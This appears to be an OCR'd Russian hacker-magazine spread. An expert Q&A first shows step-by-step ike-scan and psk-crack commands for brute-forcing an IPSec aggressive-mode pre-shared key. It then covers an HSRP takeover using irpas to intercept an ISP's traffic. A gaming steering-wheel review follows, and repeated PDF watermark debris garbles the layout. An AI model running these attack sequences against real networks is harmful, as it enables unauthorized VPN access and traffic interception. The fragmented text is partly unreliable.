НА ВОПРОСЫ ОТВЕЧАЕТ ЭКСПЕРТ ЭТОГО НОМЕРА КОНСТАНТИН ГАВРИЛЕНКО — СПЕЦИАЛИСТ С ОПЫТОМ РАБОТЫ В ИТ-БЕЗОПАСНОСТИ БОЛЕЕ 12-ТИ ЛЕТ. УВЛЕКАЕТСЯ КОМПЬЮТЕРАМИ С 12-ТИ ЛЕТ, НАЧИНАЛ С «АТАРИ 130» :). ОСНОВНЫЕ СФЕРЫ ДЕЯТЕЛЬНОСТИ КОНСТАНТИНА: БЕЗОПАСНОСТЬ СЕТЕВОЙ
ИНФРАСТРУКТУРЫ И БЕСПРОВОДНЫЕ СЕТИ |АНДРЕЙ КАРОЛИК (ANDRUSHA@REAL.XAKEP.RU)
ОТВЕТ: В первую очередь все зависит от кривизны рук админа. Нормальный админ может правильно настроить и обезопасить машину на винде, в то время как админ, страдающий врожденной криворукостью, настежь откроет сервер на OpenBSD. Те же самые принципы относятся и к установке ВЧС и настройке любых других сервисов. ВЧС на основе IPSEC принято считать надежным и безопасным решением, хотя и достаточно сложным в установке. Как известно, чем изощреннее решение, тем вероятнее ошибки в нем: сложно разобраться в работе всего процесса досконально.
Попробую объяснить на пальцах, как, скорее всего, взломали твоего товарища. Существует два режима работы: AH (Authenticated Header) и ESP (Encapsulated Security Payload). При использовании AH данные не шифруются, а только добавляется заголовок аутентификации пакета. При использовании ESP пакет полностью шифруется и добавляются новые IP-заголовки. Если админ использовал IPSEC в режиме AH, то вполне возможно, что кто-то перехватил важную информацию и использовал ее для дальнейшего взлома. Назвать это взломом туннеля, конечно, сложно. Только если с очень большой натяжкой.
Существует несколько типов работы ВЧС. Используя статические ключи или используя IKE, для согласования протоколов и алгоритмов и генерации динамических ключей шифрования и аутентификации. В большинстве случаев используется IKE. Соответственно, для аутентификации клиентов могут быть использованы или пароль (PSK), или x509-сертификат. Существует также несколько режимов, используемых для установления аутентифицированного обмена ключа: Aggressive, Quick и Main. По крайней мере, одна из комбинаций режимов работы может быть фатальной при слабом значении секретного ключа, что, скорее всего, так и было.
Если используются одновременно агрессивный метод обмена и секретный ключ, существует возможность удаленного получения хэшей, пригодных для получения значения ключа методом перебора. Одной из наиболее продвинутых программ для нумерации IPSEC-туннелей является ike-scan — www.nta- monitor.com/tools/ike-scan. Огромное количество опций позволяет создавать практически любые произвольные пакеты IKE. Представим гипотетическую ситуацию: админ использовал секретный ключ и не убрал агрессивный режим. Сначала при помощи ike-scan проверим, что IPSEC используется на хосте.
arhontus # ike-scan -v 192.168.99.9
Starting ike-scan 1.8 with 1 hosts (http://www.nta-monitor.com/ike-scan/) 192.168.99.9 Main Mode Handshake returned HDR=(CKY-R=6182785ec0174f07) SA=(Enc=DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
Как видно по выводу утилиты, мы получили информацию об используемых типах шифрования и методах аутентификации. Теперь попытаемся вытащить данные, необходимые для взлома, подставив полу- ченные значения.
arhontus # ike-scan -v -A --trans 1,2,1,2 --dhgroup=2 --idtype=1 -Paggressive_psk 192.168.99.9
Starting ike-scan 1.8 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
--- Pass 1 of 3 completed
192.168.99.9 Aggressive Mode Handshake returned HDR=(CKY-R=6182785eabc881b0) SA=(Enc=DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
||
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
| 85 |
BUY |
|
|
|||||||
|
|
|
|
|
||||||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
LifeDuration=28800) VID=12f5f28c457168a9702d9fe274cc0100 (Cisco Unity) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection) VID=9445df43abc981b0c0566f19a44437ab VID=09002689dfd6b712 (XAUTH) KeyExchange(128 bytes) ID(Type=ID_IPV4_ADDR, Value=192.168.99.9) Nonce(20 bytes) Hash(20 bytes)
|
|
|
|
|
|
|
|
Информация записана в файле aggressive_psk. Теперь можно приступать к взлому методом перебора. |
|||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
dyno tmp # time psk-crack --bruteforce=5 agr |
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
Starting psk-crack [ike-scan 1.8] (http://www.nta-monitor.com/ike-scan/) |
|
|
|
||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
Running in brute-force cracking mode |
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
Brute force with 36 chars up to length 5 will take up to 60466176 iterations |
|
|
|||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
key "xakep" matches SHA1 hash 5bca530f21cf4bf68e067e11146c752e0e81c33b |
|
|
|||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
Ending psk-crack: 42669898 iterations in 286.307 seconds (149035.66 iterations/sec) |
|
||||||||||||||||
|
|
|
|
|
|
|
|
Секретный ключ xakep был успешно забрутфорсен за пять минут на простеньком AMD 3200+. Теперь мо- |
|||||||||||||||||
|
|
|
|
|
|
|
|
жешь ввести ключ в любимый IPSEC-клиент и присоединятся к серверу. Админу можно посоветовать |
|||||||||||||||||
|
|
|
|
|
|
|
|
поставить пароль посложнее, отключить поддержку agressive mode или использовать x509-сертификаты. |
|||||||||||||||||
|
|
|
|
|
|
|
|
|
|||||||||||||||||
ВОПРОС: НЕДАВНО УЗНАЛ |
|
|
|
|
|
|
ОТВЕТ: Видимо, твой провайдер использует протокол резервной маршрутизации для обеспечения высо- |
||||||||||||||||||
О МНОГОАДРЕСНОЙ РАССЫЛКЕ |
|
|
|
|
|
кого уровня доступности сети и бесперебойного выхода в интернет. HSRP создает группу из резервных |
|||||||||||||||||||
И ПОСТАВИЛ ВНЕШНИЙ ИНТЕРФЕЙС |
|
|
|
|
маршрутизаторов и главного маршрутизатора, который обслуживает все пакеты, посланные на виртуаль- |
||||||||||||||||||||
СВОЕГО РОУТЕРА СНИФАТЬ 224.0.0.0/4. |
|
|
ный адрес. При выходе из строя главного маршрутизатора один из запасных маршрутизаторов займет его |
||||||||||||||||||||||
УВИДЕЛ, ЧТО КАКИЕ-ТО СТРАННЫЕ HSRP- |
|
место автоматически и унаследует виртуальный адрес маршрутизатора, обеспечивая таким образом бес- |
|||||||||||||||||||||||
ПАКЕТЫ ПОСТОЯННО ИДУТ НА АДРЕС |
|
|
|
перебойную работу сети. HSRP-протокол запатентован Cisco и, соответственно, поддерживается только |
|||||||||||||||||||||
224.0.0.2. ЧТО ЗА ПАКЕТЫ, МОГУ ЛИ Я |
|
|
|
их оборудованием. Существует альтернативный открытый протокол VRRP (rfc2338), его поддерживают и |
|||||||||||||||||||||
ПОХАЧИТЬ ПРОВАЙДЕРА? |
|
|
|
|
|
|
|
используют другие производители, он также обеспечивает лучшую аутентификацию пакетов. |
|||||||||||||||||
|
|
|
|
|
|
|
|
Использовать HSRP в сетях, где нет доверия к пользователям, не стоит, даже при включенной ау- |
|||||||||||||||||
|
|
|
|
|
|
|
|
тентификации. На самом деле назвать аутентификацией текстовый пароль, передающийся в пакете |
|||||||||||||||||
|
|
|
|
|
|
|
|
HSRP, можно, опять же, только с большой натяжкой. При получении доступа в сеть, где используется |
|||||||||||||||||
|
|
|
|
|
|
|
|
HSRP, можно легко стать основным маршрутизатором и перехватить весь проходящий трафик. Вся ин- |
|||||||||||||||||
|
|
|
|
|
|
|
|
формация, необходимая для захвата виртуального адреса, содержится в транслируемом пакете. Запус- |
|||||||||||||||||
|
|
|
|
|
|
|
|
каешь tethereal и ловишь пакет... |
|||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
arhontus / # tethereal -n -i eth0 -V host 224.0.0.2 |
|
||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
Cisco Hot Standby Router Protocol |
|
|
|
||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Version: 0 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Op Code: Hello |
(0) |
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
State: Active |
(16) |
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
|
|
Hellotime: Default (3) |
|
|
|
||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
|
|
Holdtime: Default (10) |
|
|
|
||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Priority: |
110 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Group: 1 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
Reserved: |
0 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||
|
|
|
|
|
|
|
|
Authentication Data: Non-Default (xakep) |
|
|
|||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||
|
|
|
|
|
|
|
|
Virtual IP |
|
Address: 192.168.99.9 (192.168.99.9) |
|
||||||||||||||
Пароль, группа и виртуальный адрес видны в самом пакете. Выбор активного маршрутизатора осуществляется через приоритет каждого хоста в группе, который по умолчанию равен 100, но может быть выставлен вручную. Для того чтобы получить активную роль, нужно установить более высокий приоритет, чем у маршрутизатора, который является активным на данный момент. Высшее значение приоритета может быть 255.
Для посылки произвольного пакета воспользуйся утилитой hsrp из irpas. Но имей в виду, что пакеты оповещения посылаются каждые три секунды. Так что, если хочешь, чтобы члены HSRP-группы продолжали считать твой хост активным маршрутизатором, поставь их отсылку в цикл.
arhontus / # while :; do ./hsrp -d 224.0.0.2 -v 192.168.99.9 -a xakep -g 1 -i eth0; sleep 3; done
arhontus / # ip address add 192.168.99.9/24 dev eth0 arhontus / # echo «1» /proc/sys/net/ipv4/ip_forward
Не забудь добавить виртуальный адрес на свой внешний интерфейс и разрешить маршрутизацию. Запускай любимый анализатор трафика и лови интересную информацию 
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
||
|
|
|
ОФФТОПИК |
|
h |
|||||
проне с вете
ТЕСТИРОВАНИЕ
НИЧТО НЕ СРАВНИТСЯ С НОЧНОЙ СКОРОСТНОЙ ПОЕЗДКОЙ ПО ГОРОДУ...
НО ЧТО ДЕЛАТЬ, ЕСЛИ ТВОЙ ПЕПЕЛАЦ ДАВНЫМ ДАВНО ЗАРЖАВЕЛ В ГАРАЖЕ? РЕШЕНИЕ
ÂÑÅ-ÒÀÊÈ ÅÑÒÜ! |АЛЕКСЕЙ
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
Каждый раз, когда проходишь мимо витрины с игровыми манипуляторами, в твоей голове рождается мысль: «А что если взять вот этот руль и устроить заезд?» Но даже для самых ярых геймеров руль с педалями принадлежит к области бессмысленных трат. Другое дело клавиатура или мышь: мы постоянно контактируем с ними, а покупать руль, чтобы устанавливать его раз или два в месяц, несерьезно. Однако посмотрим на такое приобретение с другой стороны. Вспомни, сколько раз ты, сидя перед компьютером и устанавливая новый автосимулятор, жалел о нехватке на столе руля и педа-
лей под ним. Сколько виражей и красивых поворотов со сносом одной или двух осей не состоялось только потому, что клавиши обладают всего двумя состояниями: «включено» и «выключено». Немного довернуть, немного снизить скорость очень легко, но в результате — треск клавиатуры и никакой реалистичности.
Теперь представь, что на твоем столе стоит руль с обратной связью. Крепко ухватив баранку, ты запускаешь трассу и погружаешься в совершенно иной мир, где можно абсолютно безнаказанно врезаться, поворачи-
вать руль ровно настолько, насколько это необходимо, и не срываться с места, а плавно стартовать и обходить всех на виражах. А каково почув-
ствовать то, что асфальт кончился и гравийка не очень хорошо отражается на скорости. Или понять в резком повороте, что машина начинает срываться в занос, и немного сместить руль? Все это возможно, стоит лишь приобрести руль с обратной связью. Мы тебя убедили?
технологии. Прежде чем бежать в магазин с криком «Дайте мне вон тот красненький руль с 20-ю кнопками!», нужно усвоить несколько правил. Удобство вождения — гарантия хороших показателей на трассе. Прежде всего, необходимо оценить силу и реалистичность работы обратной связи. В магазине вряд ли станут устанавливать десяток рулей, чтобы показать тебе, как будут работать вибромоторчики. Здесь сразу разделим устройства на два класса: с поддержкой обратной связи (Force Feedback) и с поддержкой вибрации (Vibration). Как ясно по названию, вторые будут просто передавать вибрацию при изменении условий вождения (столкновение с препятствием или смена дорожного покрытия), а первые вполне способны активно
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
||
сопротивляться твоей манере вождения. К примеру, ты легко почувствуешь занос, если твою машину таранят или тебя начинает крутить, — руль становится непослушным, при пересечении участка дороги с гравийным покрытием он дрожит и иногда тебя подкидывает из стороны в сторону. Дай-ка я угадаю, какой вариант предпочтешь ты?
Теперь о возможностях собственно рулей. Эти устройства аналоговые, то есть величина сигнала (будь то угол поворота руля или сила нажатия педали) не может быть равной постоянному значению, как на клавиатуре («нажато»/»не нажато»). Вот почему сигнал разбит на несколько составляющих, каждый из которых отвечает за свою ось. Ось в нашем слу- чае — независимый канал передачи информации. К примеру, поворот рулевого колеса передается по одной оси, а все остальные педали и рычаги могут иметь разные каналы, и чем их больше, тем выше реалистичность. Представь, что твой руль с педалями обладает двумя осями: одна отведена под руль, вторая — педалям. Одновременное нажатие двух педалей приводит к тому, что либо совсем отключается газ и работает тормоз, либо две педали нейтрализуют значение друг друга. Итак, чем больше осей, тем лучше. В нашем тесте имеется модель с пятью осями, что предусматривает независимую работу педалью газа, тормоза, ручного тормоза и даже сцепления. Большинство моделей, представленных на рынке, обладают всего двумя или тремя независимыми каналами, что вполне подойдет для аркадных гонок, а в некоторых случаях и для раллийных.
Внедрение новых технологий позволяет избавиться от реостатов, которые со временем изнашиваются из-за механической связи , и заменить механику оптическими сенсорами, чтобы повысить срок жизни девайса.
методика тестирования. Руль — это манипулятор, ты выбираешь его один раз и пользуешься им долго. Однако такой девайс может дополняться педалями и рычагом переключения передач, а значит, в таком виде он займет немало места. Для того чтобы доставить покупку домой, можно задей-
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
ствовать курьерскую службу, взять машину (если нет своей) или воспользо- |
|
|
|
|
|
|
|
|||
ваться общественным транспортом. Если ты решишь нести драгоценную по- |
|
|
| |
|
||||||
|
|
|
|
|
|
|
87 |
|
||
купку сам, то немаловажным будет вес, габариты и наличие ручек у коробки — на этом мы основали первый фактор формирования оценки.
Далее следует оценить комплектацию и длину всех шнуров. Согласись, сложно добиться реалистичности, если шнуры настолько короткие, что блок педалей свисает со стола, не дотягиваясь до пола.
Простота установки и калибровки заняла третью позицию в очередности оценки. Сюда же входит удобство установки, надежность фиксации всех блоков и индивидуальные параметры руля, такие как угол поворота и количество кнопок.
Все настроено и проверено. Наконец-то начинаем игровой тест, в нем принимали участие два человека (чтобы выставленные оценки были объективными). Использовались игры из серии Need For Speed — довольно популярного и распространенного симулятора. Выбор пал на две версии (UNDERGROUND 2, MOST WANTED), так как эти игры позволяют частично и иногда даже полностью задействовать обе педали и предусматривают как аккуратное прохождение поворотов без резкого перекладывания руля из одного положения в другое, так и резкие рывки на узких улочках. Это не значит, что мы не оценивали скорость поворота — были учтены точность и плавность хода.
После всех тестов выставлялась завершающая оценка — за эргономику. Диаметр и изменение положения руля, метод фиксации, величина хода педалей и их жесткость и, конечно же, материал, из которого изготовлены органы управления. Эргономичные углубления под пальцы, прорезиненные педали — все это, безусловно, заслуживает придирчивого внимания. Большую роль играло воздействие обратной связи (Force Feedback) на игрока. Оценивалась реалистичность и сила воздействия.
тестовый стенд:
МАТЕРИНСКАЯ ПЛАТА: Asus P5ND2-SLI Deluxe
ПРОЦЕССОР: Intel Pentium 4 EE 3.73
ПАМЯТЬ: 4х512 Мб Corsair DDR-2 3-2-2-8
КУЛЕР: Zalman CNPS7700 Cu
ЖЕСТКИЙ ДИСК: Western Digital WD200
БЛОК ПИТАНИЯ: 480 Вт Thermaltake +350 Вт Thermaltake
Test_lab выражает благодарность за предоставленное на тестирование оборудование компаниям:
«АЛИОН» (тел. (495) 727-18-18, www.alion.ru), «БЮРОКРАТ» (тел. (495) 745-55-11, www.buro.ru),
а также российским представительствам компаний Saitek и Logitech
Logitech Formula |
|
МАТЕРИАЛ: пластик, прорезиненный руль |
($80) 9 баллов |
|
|
УГОЛ ПОВОРОТА РУЛЯ: 180 градусов |
||
Force GP |
|
|
|
КОЛИЧЕСТВО ОСЕЙ: 2, приоритет тормоза |
|
|
|
|
|
|
КОЛИЧЕСТВО КНОПОК: 4 |
|
|
|
|
|
БОНУС: 2 подрулевых переключателя |
|
|
|
|
|
плюсы. Привлекательный ди- |
|
|
зайн, небольшие размеры и хоро- |
|
|
шее имя притягивают внимание. До- |
|
|
стаем девайс из коробки и закреп- |
|
|
ляем его — нет ничего проще. Две |
|
|
крупных ручки на верхней панели, |
|
|
на которых установлены прижимные |
|
|
пластины, имеют резьбу. Диапазон |
|
|
регулировки по толщине столешни- |
|
|
цы очень велик, и проблем с уста- |
|
|
новкой не возникнет. Достаточно уп- |
|
|
ругие педали с большим ходом мо- |
|
|
гут несколько утомить, если будешь |
|
|
часто нажимать на тормоз, но поз- |
|
|
волят плавно регулировать ско- |
|
|
рость. Удачно подобран размер |
|
|
пластиковых «ступней»: газ несколь- |
|
|
ко больше, и найти его вслепую под |
|
|
столом не составит труда. Руль вы- |
|
|
полнен из пластика с красными ре- |
|
|
зиновыми вставками и имеет не- |
|
|
большой диаметр, что удобно (даже |
|
|
маленькие дети поиграть смогут). |
|
|
Четыре программируемые |
|
|
кнопки расположены довольно удоб- |
|
|
но, если предположим, что пальцы |
игрока будут находиться там, где их представили себе дизайнеры. Работа обратной связи не вызвала нареканий. Четкое ощущение смены дорожного покрытия, столкновений — все это отражается на руле. Сопротивление повороту несколько меньше, чем у Logitech MOMO Racing, но вполне достаточно, чтобы определить необходимый моментт работы рулем при сносе оси.
минусы. Несколько настораживает материал изготовления винтов — пластик. Впрочем, сломать зажимы удастся только при грубом обращении. Длина провода педалей невелика, но они легко дотянутся до пола и позволят игроку немного отодвинуть ноги вперед. Сама панель с педалями стоит на резиновых ножках, но никак не застрахована от проскальзывания на ковре. Эргономичная форма руля предполагает расположение руки вдоль большой спицы, что оказалось не очень удобно при частых поворотах. Несколько разочаровали подрулевые переклю- чатели: они довольно маленькие и располагаются на некотором удалении от самого колеса на широкой спице. Чтобы переключить скорость, придется тянуться.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
||
Genius Twin
Wheel ОФФТОПИК|
88
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
($85) 7 баллов |
МАТЕРИАЛ: пластик |
ти панели. Регулировка по толщине |
УГОЛ ПОВОРОТА РУЛЯ: 180 градусов |
столешницы очень велика — поряд- |
|
|
КОЛИЧЕСТВО ОСЕЙ: 2, приоритет тормоза |
ка 10 см. На руле расположены ос- |
|
КОЛИЧЕСТВО КНОПОК: 10 |
новные кнопки управления, как и на |
|
БОНУС : крест (джойстик), |
игровом джойстике. Эргономичные |
|
совместимость с PlayStation |
углубления для пальцев довольно |
|
|
удобны. Педали подключаются |
|
плюсы. Небольшие размеры |
длинным кабелем, что обеспечивает |
|
коробки и малый вес девайса гаран- |
комфорт при игре даже человеку |
|
тируют удобство при транспортиров- |
высокого роста. Размеры и форма |
|
ке. Открываем коробку и видим |
педалей газа и тормоза отличаются, |
|
плотно и надежно упакованные руль |
поэтому игрок сможет опознать |
|
и педали. Гаджет не требует допол- |
нужную не глядя под стол. |
|
нительного питания и черпает энер- |
минусы. Дополнительного пи- |
|
гию от порта USB. Кабель подклю- |
тания не обеспечено, поэтому мото- |
|
чения имеет не один коннектор, а |
ры обратной связи имеют в своем |
|
два: USB и стандартный разъем иг- |
распоряжении небольшой ток, вы- |
|
ровой платформы PlayStation. Так |
даваемый портом USB, и, соответ- |
|
что обладатель одного руля и двух |
ственно, небольшую мощность. |
|
игровых устройств (компьютера и |
Force Feedback реализована в виде |
|
игровой приставки) сможет убить |
двух вибромоторчикаов, которые |
|
двух зайцев. Установка и калибров- |
расположены симметрично от руле- |
|
ка руля займет всего несколько ми- |
вой колонки и просто вибрируют в |
|
нут: после инсталляции драйверов |
нужные моменты, ненамного при- |
|
необходимо зайти в настройки, нес- |
бавляя реалистичности. Руль имеет |
|
колько раз повернуть руль из сторо- |
автоцентрирование, реализованное |
|
ны в сторону и поочередно нажи- |
двумя пружинами, — баранка всег- |
|
мать педали — и вот уже откалиб- |
да будет стремиться вырваться из |
|
ровано. Руль крепится присосками, |
рук и вернуться в центральное по- |
|
но есть возможность усилить фикса- |
ложение. Педали довольно мягкие |
|
цию двумя металлическими струб- |
и не выдержат веса ступни, то есть |
|
цинами, для которых имеются спе- |
во время игры придется постоянно |
|
циальные отверстия в передней час- |
держать ноги в напряжении. |
СРАЗУ РАЗДЕЛИМ УСТРОЙСТВА НА ДВА КЛАССА:
С ПОДДЕРЖКОЙ ОБРАТНОЙ СВЯЗИ (FORCE FEEDBACK) И С ПОДДЕРЖКОЙ ВИБРАЦИИ (VIBRATION)
Genius Speed
Wheel 3 Vibration
($75) 7 баллов |
МАТЕРИАЛ: пластик |
средним. Благодаря удачной кон- |
УГОЛ ПОВОРОТА РУЛЯ: 180 градусов |
струкции узел не будет скользить по |
|
|
КОЛИЧЕСТВО ОСЕЙ: 2 |
ворсистой поверхности. Калибровка |
|
КОЛИЧЕСТВО КНОПОК: 8 |
устройства занимает меньше мину- |
|
БОНУС: 2 подрулевых аналоговых |
ты: достаточно войти в настройки и |
|
переключателя |
поработать педалями, пару раз по- |
|
|
крутить руль и понажимать подруле- |
|
плюсы. Удачная компоновка |
вые лепестки. |
|
узлов в коробке сократила габарит- |
минусы. Серебристый руль |
|
ные размеры и повысила удобство |
полностью выполнен из пластика, |
|
при транспортировке до игрового |
что заставляет сомневаться в его |
|
места. Комплектация небогатая, но |
исключительной долговечности. Ав- |
|
руль, педальный узел, пара струб- |
томатическое центрирование руля |
|
цин и диск с драйверами ты най- |
установлено по умолчанию, и изме- |
|
дешь. Рулевой блок устанавливает- |
нить ситуацию возможно только хи- |
|
ся на присосках, но желательно за- |
рургическим вмешательством: необ- |
|
крепить его струбцинами, которые |
ходимо снять пружины, после чего |
|
гарантируют устойчивость при ак- |
ты сразу лишаешься гарантии и про- |
|
тивной работе баранкой. На цент- |
падает легкое сопротивление при |
|
